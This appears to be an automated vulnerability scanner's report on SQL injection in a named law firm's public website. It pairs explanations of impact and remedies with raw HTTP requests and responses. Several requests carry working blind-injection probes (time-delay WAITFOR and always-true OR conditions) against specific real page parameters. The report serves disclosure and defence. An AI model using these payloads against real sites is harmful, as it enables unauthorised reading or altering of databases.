SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed us to identify and confirm the SQL Injection.
Impact
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
See the remedy for solution.
If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
Locate the all dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.
Remedy
A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.
GET /new/showbionew.aspx?show=%27;WAITFOR%20DELAY%20%270:0:25%27--&Related=3 HTTP/1.1 Referer: http://www.mccarter.com/new/homenew.aspx?searchlink=showbionew&Show=1121 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.mccarter.com Cookie: ASP.NET_SessionId=dovbcr45tyczie45c0bmue45 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 12 May 2011 16:37:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 30351
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title>McCarter&English | Daniel Pollack</title> <META NAME="KEYWORDS" CONTENT="Daniel,Pollack,Daniel Pollack," > <META NAME="DESCRIPTION" CONTENT="Mr. Pollack has practiced law in New York City for over 40 years. His practice has centered on the conduct of financial litigation, advising corporations on issues of corporate governance and advising executives on employment agreements and exit agre">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <META NAME="ROBOTS" CONTENT="NOYDIR,NOODP"> <META NAME="KEYWORDS" CONTENT="McCarter,McCarter & English,McCarter and English,McCarter English"> <META NAME="DESCRIPTION" CONTENT="McCarter & English, LLP is a firm of over 400 lawyers with offices in Boston, Hartford, Stamford, New York City, Newark, Philadelphia and Wilmington."> <script language="JavaScript" type="text/JavaScript"> <!-- function OpenWindow(url, name,features ) { window.open(url, name,features) }
function MM_preloadImages() { //v3.0 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array(); var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++) if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}} }
function MM_swapImgRestore() { //v3.0 var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc; }
function MM_findObj(n, d) { //v4.01 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n]; for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); if(!x && d.getElementById) x=d.getElementById(n); return x; }
function MM_swapImage() { //v3.0 var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3) if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];} }
function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) { document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }} else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload(); } MM_reloadPage(true); //--> </script> <script> function MM_jumpMenu(targ,selObj,restore){ //v3.0 eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); if (restore) selObj.selectedIndex=0; } </script> <script> function emailWarning(){ //str = 'NOTICE. These materials have been prepared by McCarter & English, LLP for ' + // 'informational purposes only and are not legal advice. This information is not ' + // 'intended to create, and receipt of it does not constitute, a lawyer-client ' + // 'relationship. You should not act upon this information without seeking ' + // 'professional counsel. In addition, we cannot represent you until we know that ' + // 'doing so will not create a conflict of interest. Nor can we treat unsolicited ' + // 'information as confidential. \n\nAccordingly, please do not send us any ' + // 'information about any matter that may involve you until you receive a ' + // 'written statement from us that we represent you (an "engagement letter").\n\nBy ' + // 'clicking "OK" you are confirming that you have read and understand this notice';
str = 'The McCarter & English website is for informational purposes only. We do not provide legal advice on this website. We can provide legal advice only to our clients in specific inquiries that they address to us. If you are interested in becoming a client, please contact us, but do not send us any information about your specific legal question. We cannot serve as your lawyers until we establish an attorney-client relationship, which can occur only after we follow procedures within our firm and after we agree to the terms of representation.'
HTTP/1.1 200 OK Date: Thu, 12 May 2011 18:34:49 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 31238
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title>McCarter&English | Daniel Pollack</title> <META NAME="KEYWORDS" CONTENT="Daniel,Pollack,Daniel Pollack," > <META NAME="DESCRIPTION" CONTENT="Mr. Pollack has practiced law in New York City for over 40 years. His practice has centered on the conduct of financial litigation, advising corporations on issues of corporate governance and advising executives on employment agreements and exit agre">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <META NAME="ROBOTS" CONTENT="NOYDIR,NOODP"> <META NAME="KEYWORDS" CONTENT="McCarter,McCarter & English,McCarter and English,McCarter English"> <META NAME="DESCRIPTION" CONTENT="McCarter & English, LLP is a firm of over 400 lawyers with offices in Boston, Hartford, Stamford, New York City, Newark, Philadelphia and Wilmington."> <script language="JavaScript" type="text/JavaScript"> <!-- function OpenWindow(url, name,features ) { window.open(url, name,features) }
function MM_preloadImages() { //v3.0 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array(); var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++) if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}} }
function MM_swapImgRestore() { //v3.0 var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc; }
function MM_findObj(n, d) { //v4.01 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n]; for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); if(!x && d.getElementById) x=d.getElementById(n); return x; }
function MM_swapImage() { //v3.0 var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3) if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];} }
function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) { document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }} else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload(); } MM_reloadPage(true); //--> </script> <script> function MM_jumpMenu(targ,selObj,restore){ //v3.0 eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); if (restore) selObj.selectedIndex=0; } </script> <script> function emailWarning(){ //str = 'NOTICE. These materials have been prepared by McCarter & English, LLP for ' + // 'informational purposes only and are not legal advice. This information is not ' + // 'intended to create, and receipt of it does not constitute, a lawyer-client ' + // 'relationship. You should not act upon this information without seeking ' + // 'professional counsel. In addition, we cannot represent you until we know that ' + // 'doing so will not create a conflict of interest. Nor can we treat unsolicited ' + // 'information as confidential. \n\nAccordingly, please do not send us any ' + // 'information about any matter that may involve you until you receive a ' + // 'written statement from us that we represent you (an "engagement letter").\n\nBy ' + // 'clicking "OK" you are confirming that you have read and understand this notice';
str = 'The McCarter & English website is for informational purposes only. We do not provide legal advice on this website. We can provide legal advice only to our clients in specific inquiries that they address to us. If you are interested in becoming a client, please contact us, but do not send us any information about your specific legal question. We cannot serve as your lawyers until we establish an attorney-client relationship, which can occur only after we follow procedures within our firm and after we agree to the terms of representation.'
GET /new/biosnew.aspx?ShowLast=True&Initial=%27);WAITFOR%20DELAY%20%270:0:25%27-- HTTP/1.1 Referer: http://www.mccarter.com/new/biosnew.aspx?search=&Location= User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.mccarter.com Cookie: ASP.NET_SessionId=dovbcr45tyczie45c0bmue45 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 12 May 2011 18:37:11 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 26619
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML> <HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <META NAME="ROBOTS" CONTENT="NOYDIR,NOODP"> <META NAME="KEYWORDS" CONTENT="McCarter,McCarter & English,McCarter and English,McCarter English"> <META NAME="DESCRIPTION" CONTENT="McCarter & English, LLP is a firm of over 400 lawyers with offices in Boston, Hartford, Stamford, New York City, Newark, Philadelphia and Wilmington."> <script language="JavaScript" type="text/JavaScript"> <!-- function OpenWindow(url, name,features ) { window.open(url, name,features) }
function MM_preloadImages() { //v3.0 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array(); var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++) if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}} }
function MM_swapImgRestore() { //v3.0 var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc; }
function MM_findObj(n, d) { //v4.01 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n]; for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); if(!x && d.getElementById) x=d.getElementById(n); return x; }
function MM_swapImage() { //v3.0 var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3) if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];} }
function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) { document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }} else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload(); } MM_reloadPage(true); //--> </script> <script> function MM_jumpMenu(targ,selObj,restore){ //v3.0 eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); if (restore) selObj.selectedIndex=0; } </script> <script> function emailWarning(){ //str = 'NOTICE. These materials have been prepared by McCarter & English, LLP for ' + // 'informational purposes only and are not legal advice. This information is not ' + // 'intended to create, and receipt of it does not constitute, a lawyer-client ' + // 'relationship. You should not act upon this information without seeking ' + // 'professional counsel. In addition, we cannot represent you until we know that ' + // 'doing so will not create a conflict of interest. Nor can we treat unsolicited ' + // 'information as confidential. \n\nAccordingly, please do not send us any ' + // 'information about any matter that may involve you until you receive a ' + // 'written statement from us that we represent you (an "engagement letter").\n\nBy ' + // 'clicking "OK" you are confirming that you have read and understand this notice';
str = 'The McCarter & English website is for informational purposes only. We do not provide legal advice on this website. We can provide legal advice only to our clients in specific inquiries that they address to us. If you are interested in becoming a client, please contact us, but do not send us any information about your specific legal question. We cannot serve as your lawyers until we establish an attorney-client relationship, which can occur only after we follow procedures within our firm and after we agree to the terms of representation.'
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed Netsparker to identify and confirm the SQL Injection.
Impact
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
See the remedy for solution.
If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.
Remedy
The best way to protect your code against SQL Injections is using parameterised queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.
GET /new/showlocationnew.aspx?show=-1+OR+17-7%3d10 HTTP/1.1 Referer: http://www.mccarter.com/new/homenew.aspx?searchlink=showlocationnew.aspx&show=1433 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.mccarter.com Cookie: ASP.NET_SessionId=dovbcr45tyczie45c0bmue45 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 12 May 2011 16:20:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 33451
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <META NAME="ROBOTS" CONTENT="NOYDIR,NOODP"> <META NAME="KEYWORDS" CONTENT="McCarter,McCarter & English,McCarter and English,McCarter English"> <META NAME="DESCRIPTION" CONTENT="McCarter & English, LLP is a firm of over 400 lawyers with offices in Boston, Hartford, Stamford, New York City, Newark, Philadelphia and Wilmington."> <script language="JavaScript" type="text/JavaScript"> <!-- function OpenWindow(url, name,features ) { window.open(url, name,features) }
function MM_preloadImages() { //v3.0 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array(); var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++) if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}} }
function MM_swapImgRestore() { //v3.0 var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc; }
function MM_findObj(n, d) { //v4.01 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n]; for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); if(!x && d.getElementById) x=d.getElementById(n); return x; }
function MM_swapImage() { //v3.0 var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3) if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];} }
function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) { document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }} else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload(); } MM_reloadPage(true); //--> </script> <script> function MM_jumpMenu(targ,selObj,restore){ //v3.0 eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); if (restore) selObj.selectedIndex=0; } </script> <script> function emailWarning(){ //str = 'NOTICE. These materials have been prepared by McCarter & English, LLP for ' + // 'informational purposes only and are not legal advice. This information is not ' + // 'intended to create, and receipt of it does not constitute, a lawyer-client ' + // 'relationship. You should not act upon this information without seeking ' + // 'professional counsel. In addition, we cannot represent you until we know that ' + // 'doing so will not create a conflict of interest. Nor can we treat unsolicited ' + // 'information as confidential. \n\nAccordingly, please do not send us any ' + // 'information about any matter that may involve you until you receive a ' + // 'written statement from us that we represent you (an "engagement letter").\n\nBy ' + // 'clicking "OK" you are confirming that you have read and understand this notice';
str = 'The McCarter & English website is for informational purposes only. We do not provide legal advice on this website. We can provide legal advice only to our clients in specific inquiries that they address to us. If you are interested in becoming a client, please contact us, but do not send us any information about your specific legal question. We cannot serve as your lawyers until we establish an attorney-client relationship, which can occur only after we follow procedures within our firm and after we agree to the terms of representation.'
GET /new/showlocationnew.aspx?PrintPage=True&Show=-1+OR+17-7%3d10&sortby=3&by=3&title=3&related=3 HTTP/1.1 Referer: http://www.mccarter.com/new/homenew.aspx?searchlink=showlocationnew.aspx&show=1433 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.mccarter.com Cookie: ASP.NET_SessionId=dovbcr45tyczie45c0bmue45 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 12 May 2011 16:22:23 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 34224
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <META NAME="ROBOTS" CONTENT="NOYDIR,NOODP"> <META NAME="KEYWORDS" CONTENT="McCarter,McCarter & English,McCarter and English,McCarter English"> <META NAME="DESCRIPTION" CONTENT="McCarter & English, LLP is a firm of over 400 lawyers with offices in Boston, Hartford, Stamford, New York City, Newark, Philadelphia and Wilmington."> <script language="JavaScript" type="text/JavaScript"> <!-- function OpenWindow(url, name,features ) { window.open(url, name,features) }
function MM_preloadImages() { //v3.0 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array(); var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++) if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}} }
function MM_swapImgRestore() { //v3.0 var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc; }
function MM_findObj(n, d) { //v4.01 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n]; for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); if(!x && d.getElementById) x=d.getElementById(n); return x; }
function MM_swapImage() { //v3.0 var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3) if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];} }
function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) { document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }} else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload(); } MM_reloadPage(true); //--> </script> <script> function MM_jumpMenu(targ,selObj,restore){ //v3.0 eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); if (restore) selObj.selectedIndex=0; } </script> <script> function emailWarning(){ //str = 'NOTICE. These materials have been prepared by McCarter & English, LLP for ' + // 'informational purposes only and are not legal advice. This information is not ' + // 'intended to create, and receipt of it does not constitute, a lawyer-client ' + // 'relationship. You should not act upon this information without seeking ' + // 'professional counsel. In addition, we cannot represent you until we know that ' + // 'doing so will not create a conflict of interest. Nor can we treat unsolicited ' + // 'information as confidential. \n\nAccordingly, please do not send us any ' + // 'information about any matter that may involve you until you receive a ' + // 'written statement from us that we represent you (an "engagement letter").\n\nBy ' + // 'clicking "OK" you are confirming that you have read and understand this notice';
str = 'The McCarter & English website is for informational purposes only. We do not provide legal advice on this website. We can provide legal advice only to our clients in specific inquiries that they address to us. If you are interested in becoming a client, please contact us, but do not send us any information about your specific legal question. We cannot serve as your lawyers until we establish an attorney-client relationship, which can occur only after we follow procedures within our firm and after we agree to the terms of representation.'
GET /new/showbionew.aspx?show='+OR+'ns'%3d'ns&Related=3 HTTP/1.1 Referer: http://www.mccarter.com/new/homenew.aspx?searchlink=showbionew&Show=1121 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.mccarter.com Cookie: ASP.NET_SessionId=dovbcr45tyczie45c0bmue45 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 12 May 2011 16:38:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 26549
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title>McCarter&English | Michael Glasheen</title> <META NAME="KEYWORDS" CONTENT="Michael,Glasheen,Michael Glasheen,Business & Financial Services Litigation" > <META NAME="DESCRIPTION" CONTENT="Mr. Glasheen practices in the area of commercial litigation in federal and state trial and appellate courts with a current emphasis on life and disability carrier litigation. Mr. Glasheen has represented insurance clients for 20 years. This experi">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <META NAME="ROBOTS" CONTENT="NOYDIR,NOODP"> <META NAME="KEYWORDS" CONTENT="McCarter,McCarter & English,McCarter and English,McCarter English"> <META NAME="DESCRIPTION" CONTENT="McCarter & English, LLP is a firm of over 400 lawyers with offices in Boston, Hartford, Stamford, New York City, Newark, Philadelphia and Wilmington."> <script language="JavaScript" type="text/JavaScript"> <!-- function OpenWindow(url, name,features ) { window.open(url, name,features) }
function MM_preloadImages() { //v3.0 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array(); var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++) if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}} }
function MM_swapImgRestore() { //v3.0 var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc; }
function MM_findObj(n, d) { //v4.01 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n]; for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); if(!x && d.getElementById) x=d.getElementById(n); return x; }
function MM_swapImage() { //v3.0 var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3) if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];} }
function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) { document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }} else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload(); } MM_reloadPage(true); //--> </script> <script> function MM_jumpMenu(targ,selObj,restore){ //v3.0 eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); if (restore) selObj.selectedIndex=0; } </script> <script> function emailWarning(){ //str = 'NOTICE. These materials have been prepared by McCarter & English, LLP for ' + // 'informational purposes only and are not legal advice. This information is not ' + // 'intended to create, and receipt of it does not constitute, a lawyer-client ' + // 'relationship. You should not act upon this information without seeking ' + // 'professional counsel. In addition, we cannot represent you until we know that ' + // 'doing so will not create a conflict of interest. Nor can we treat unsolicited ' + // 'information as confidential. \n\nAccordingly, please do not send us any ' + // 'information about any matter that may involve you until you receive a ' + // 'written statement from us that we represent you (an "engagement letter").\n\nBy ' + // 'clicking "OK" you are confirming that you have read and understand this notice';
str = 'The McCarter & English website is for informational purposes only. We do not provide legal advice on this website. We can provide legal advice only to our clients in specific inquiries that they address to us. If you are interested in becoming a client, please contact us, but do not send us any information about your specific legal question. We cannot serve as your lawyers until we establish an attorney-client relationship, which can occur only after we follow procedures within our firm and after we agree to the terms of representation.'
HTTP/1.1 200 OK Date: Thu, 12 May 2011 17:43:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 33451
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <META NAME="ROBOTS" CONTENT="NOYDIR,NOODP"> <META NAME="KEYWORDS" CONTENT="McCarter,McCarter & English,McCarter and English,McCarter English"> <META NAME="DESCRIPTION" CONTENT="McCarter & English, LLP is a firm of over 400 lawyers with offices in Boston, Hartford, Stamford, New York City, Newark, Philadelphia and Wilmington."> <script language="JavaScript" type="text/JavaScript"> <!-- function OpenWindow(url, name,features ) { window.open(url, name,features) }
function MM_preloadImages() { //v3.0 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array(); var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++) if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}} }
function MM_swapImgRestore() { //v3.0 var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc; }
function MM_findObj(n, d) { //v4.01 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n]; for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); if(!x && d.getElementById) x=d.getElementById(n); return x; }
function MM_swapImage() { //v3.0 var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3) if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];} }
function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) { document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }} else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload(); } MM_reloadPage(true); //--> </script> <script> function MM_jumpMenu(targ,selObj,restore){ //v3.0 eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); if (restore) selObj.selectedIndex=0; } </script> <script> function emailWarning(){ //str = 'NOTICE. These materials have been prepared by McCarter & English, LLP for ' + // 'informational purposes only and are not legal advice. This information is not ' + // 'intended to create, and receipt of it does not constitute, a lawyer-client ' + // 'relationship. You should not act upon this information without seeking ' + // 'professional counsel. In addition, we cannot represent you until we know that ' + // 'doing so will not create a conflict of interest. Nor can we treat unsolicited ' + // 'information as confidential. \n\nAccordingly, please do not send us any ' + // 'information about any matter that may involve you until you receive a ' + // 'written statement from us that we represent you (an "engagement letter").\n\nBy ' + // 'clicking "OK" you are confirming that you have read and understand this notice';
